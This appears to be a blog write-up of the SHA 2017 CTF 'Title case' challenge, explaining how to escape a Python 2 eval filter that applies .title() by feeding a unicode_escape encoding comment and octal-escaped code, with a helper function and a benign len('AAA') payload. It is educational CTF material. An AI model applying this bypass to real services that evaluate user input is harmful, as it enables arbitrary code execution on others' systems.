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SHA 2017 Title case
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<i class="fa fa-calendar padding-small"></i><time datetime="2021-04-17T10:01:00+02:00"> Sat 17 April 2021</time>
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<p>I found this challenge in the Computest CTF, but it turns to be reused challenge from older SHA 2017 CTF.</p>
<p>The challenge itself is pretty simple:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python</span>
<span class="nb">eval</span><span class="p">(</span><span class="n">raw_input</span><span class="p">()</span><span class="o">.</span><span class="n">title</span><span class="p">())</span>
</code></pre></div>
<p>It is actually a bit of trivia challenge, requiring knowledge of Python 2.7 encodings. In Python source files it is possible to specify encoding using comment (1st or 2nd line in program). In this case encoding interesting to us is <code>unicode_escape</code>, which is defined as (<a href="https://www.python.org/dev/peps/pep-0100/">PEP-0100</a>):</p>
<ul>
<li>all non-escape characters represent themselves as Unicode ordinal (e.g. 'a' -> U+0061).</li>
<li>all existing defined Python escape sequences are interpreted as Unicode ordinals; note that \xXXXX can represent all Unicode ordinals, and \OOO (octal) can represent Unicode ordinals up to U+01FF.</li>
<li>a new escape sequence, \uXXXX, represents U+XXXX; it is a syntax error to have fewer than 4 digits after \u.</li>
</ul>
<p>Purpose of this encoding is to produce a string that is suitable as Unicode literal in Python source code.</p>
<p>Let's look at example (Python 2.7):</p>
<div class="highlight"><pre><span></span><code><span class="c1">#coding:unicode_escape</span>
<span class="nb">print</span> \<span class="mi">154</span><span class="n">en</span><span class="p">(</span><span class="s1">'test'</span><span class="p">)</span>
</code></pre></div>
<p>The \154 is octal escape sequence that will be interpreted as Unicode ordinal 'l'.</p>
<p>The comment specifying encoding is usually written as:</p>
<div class="highlight"><pre><span></span><code># -*- coding: <encoding-name> -*-
</code></pre></div>
<p>but as seen in previous example it is actually much more flexible as Python uses following regex for it(<a href="https://www.python.org/dev/peps/pep-0263/">PEP-0263</a>):</p>
<div class="highlight"><pre><span></span><code>^[ \t\v]*#.*?coding[:=][ \t]*([-_.a-zA-Z0-9]+)
</code></pre></div>
<p>The unicode escape sequences are unaffected by .title() function.</p>
<div class="highlight"><pre><span></span><code><span class="n">s2</span> <span class="o">=</span> <span class="sa">r</span><span class="s1">'\154en("test")'</span>
<span class="nb">print</span><span class="p">(</span><span class="n">s2</span><span class="o">.</span><span class="n">title</span><span class="p">())</span>
<span class="c1">#output \154En("test")</span>
</code></pre></div>
<p>We see that 'e' got changed but that octal escape sequence for 'l' remained same, so to bypass the .title() function we just need to unicode escape whole command we want to execute. We can use following Python function:</p>
<div class="highlight"><pre><span></span><code><span class="k">def</span> <span class="nf">unicode_escape</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
<span class="k">return</span> <span class="s2">""</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="s1">'</span><span class="se">\\</span><span class="s1">'</span> <span class="o">+</span> <span class="nb">oct</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">letter</span><span class="p">))</span><span class="o">.</span><span class="n">lstrip</span><span class="p">(</span><span class="s2">"o0"</span><span class="p">)</span><span class="o">.</span><span class="n">zfill</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> <span class="k">for</span> <span class="n">letter</span> <span class="ow">in</span> <span class="n">s</span><span class="p">])</span>
</code></pre></div>
<p>Last thing remaining is to use less known option of raw_input and give it encoding comment as input.</p>
<div class="highlight"><pre><span></span><code><span class="c1"># here we add random letter (int this case `c`) before `coding` as regex is case-sensitive</span>
<span class="c1"># and first letter will get changed to upercase by .title()</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s2">"#ccoding:unicode_escape</span><span class="se">\n</span><span class="s2">"</span> <span class="o">+</span> <span class="n">unicode_escape</span><span class="p">(</span><span class="s1">'len("AAA")'</span><span class="p">)</span>
<span class="nb">print</span> <span class="nb">eval</span><span class="p">(</span><span class="n">payload</span><span class="o">.</span><span class="n">title</span><span class="p">())</span>
</code></pre></div>
<p>With this we can simply execute any command we want making challenge trivial.
Note: this approach is not usable in Python 3.</p>
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